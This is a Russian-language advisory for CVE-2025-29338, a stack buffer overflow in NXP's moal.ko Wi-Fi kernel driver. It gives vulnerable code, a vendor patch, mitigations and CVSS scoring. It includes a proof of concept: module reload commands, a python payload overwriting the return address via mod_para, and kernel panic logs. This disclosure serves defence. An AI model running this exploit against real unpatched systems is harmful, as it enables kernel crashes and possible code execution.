
Техническое описание и доказательство концепции для переполнения буфера на стеке (CWE-121) в драйвере Wi-Fi ядра NXP moal.ko, вызывающее локальную панику ядра и потенциальное выполнение произвольного кода.
woal_setup_module_param / parse_cfg_get_line)| Поле | Значение |
|---|---|
| CVE ID | CVE-2025-29338 |
| Severity | Высокий |
| CVSS v3.1 Score | 7.8 |
| CVSS v3.1 Vector | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Стековое переполнение буфера (CWE-121) |
| Attack Vector | Локальный |
| Vendor | NXP Semiconductors |
| Vendor Patch Status | Исправлено |
| Discoverer | Mahmoud Jadaan — diconium auto GmbH |
Уязвимость переполнения буфера на стеке существует в драйвере Wi-Fi ядра NXP moal.ko (версия 5.1.7.10) для сборок прошивок с v17.92.1.p149.43 по v17.92.1.p149.157. Уязвимость находится в parse_cfg_get_line (mlinux/moal_init.c), вызываемой из woal_setup_module_param. Цикл while, читающий строки конфигурационного файла в буфер фиксированного размера, не проверяет границы записи, что позволяет строке произвольной длины переполнить буфер, повредить стек и вызвать панику ядра. NXP PSIRT подтвердил уязвимость, исправление выпущено.
woal_setup_module_param выделяет фиксированный стековый буфер размером MAX_LINE_LEN байт и передаёт его в parse_cfg_get_line на каждой итерации при обработке конфигурационного файла mod_para:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
В уязвимой версии parse_cfg_get_line условие цикла while проверяет только позицию источника и терминаторы строки — нет проверки количества записанных в буфер назначения байт:
// parse_cfg_get_line — уязвимая версия (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
Строка конфигурационного файла длиннее MAX_LINE_LEN байт приводит к тому, что dest выходит за границы стекового буфера вызывающей функции, перезаписывая соседнюю стековую память, включая сохранённый указатель фрейма и адрес возврата.
Драйвер загружается при запуске системы с помощью insmod и параметром mod_para, указывающим на конфигурационный файл. Атакующий, способный записать специально подготовленный конфигурационный файл и перезагрузить модуль ядра, может вызвать переполнение.
| Воздействие | Описание |
|---|---|
| Denial of Service | Паника ядра — подтверждено; вызывает немедленную перезагрузку системы |
| Kernel Memory Corruption | Повреждение стека перезаписывает сохранённый rbp и адрес возврата |
Базовая оценка: 7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Предоставлено только для защитных и исследовательских целей.
#!/bin/sh
rmmod moal
rmmod mlan
Стековый буфер заполняется символами A, затем 8 байт для слота стекового канарейки (B), 8 байт для сохранённого rbp (C) и 8 байт для перезаписи адреса возврата (D):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
Путь mod_para должен быть относительным относительно каталога, где ядро ищет прошивки (обычно /lib/firmware/). Сформируйте путь соответствующим образом:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
Паника ядра происходит немедленно во время инициализации модуля. Журналы ядра подтверждают, что адрес возврата перезаписан на 0x4444444444444444 (ASCII DDDDDDDD), что демонстрирует полный контроль над счётчиком команд:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- контролируемый адрес возврата
NXP PSIRT подтвердил уязвимость и предоставил следующий патч для mlinux/moal_init.c. Исправление добавляет проверку границ внутри цикла parse_cfg_get_line, чтобы выйти до превышения MAX_LINE_LEN:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
Обновитесь до версии прошивки новее v17.92.1.p149.157, включающей указанный патч. В качестве дополнительного усиления:
CAP_SYS_MODULE только доверенным администраторам; ограничьте системные вызовы init_module / finit_module с помощью SELinux, AppArmor или seccomp.mod_para, и файлы, на которые он ссылается, доступны для записи только root.NXP PSIRT подтвердил уязвимость. Исправление выпущено в рамках официального обновления ПО.
Обнаружил: Mahmoud Jadaan — diconium auto GmbH
Данное уведомление публикуется как общедоступная ссылка для выполнения минимальных требований раскрытия CVE согласно программе CVE.
| Поле | Детали |
|---|
| Vendor | NXP Semiconductors |
| Component | moal.ko Wi-Fi драйвер ядра |
| Driver Version | 5.1.7.10 |
| Firmware — First Affected | v17.92.1.p149.43 |
| Firmware — Last Affected | v17.92.1.p149.157 |
| Атрибут | Значение |
|---|
| Type | Локальный |
| Privileges Required | CAP_SYS_MODULE (root или эквивалент) |
| User Interaction | Нет |
| Attack Surface | Параметр модуля ядра mod_para (путь к конфигурационному файлу) |
| Potential Code Execution | Управляемый адрес возврата — возможно выполнение произвольного кода в режиме ядра в зависимости от применяемых защит (stack canary, KASLR и т.д.) |
| Метрика | Значение | Обоснование |
|---|
| Attack Vector (AV) | Local (L) | Требуется локальный доступ к системе |
| Attack Complexity (AC) | Low (L) | Нет условий гонки или сложных предварительных требований |
| Privileges Required (PR) | High (H) | Требуется CAP_SYS_MODULE / root |
| User Interaction (UI) | None (N) | Полностью контролируется атакующим |
| Scope (S) | Unchanged (U) | Влияние не выходит за контекст ядра |
| Confidentiality (C) | High (H) | Память ядра потенциально читаема |
| Integrity (I) | High (H) | Демонстрируется перезапись адреса возврата |
| Availability (A) | High (H) | Подтверждена паника ядра / перезагрузка |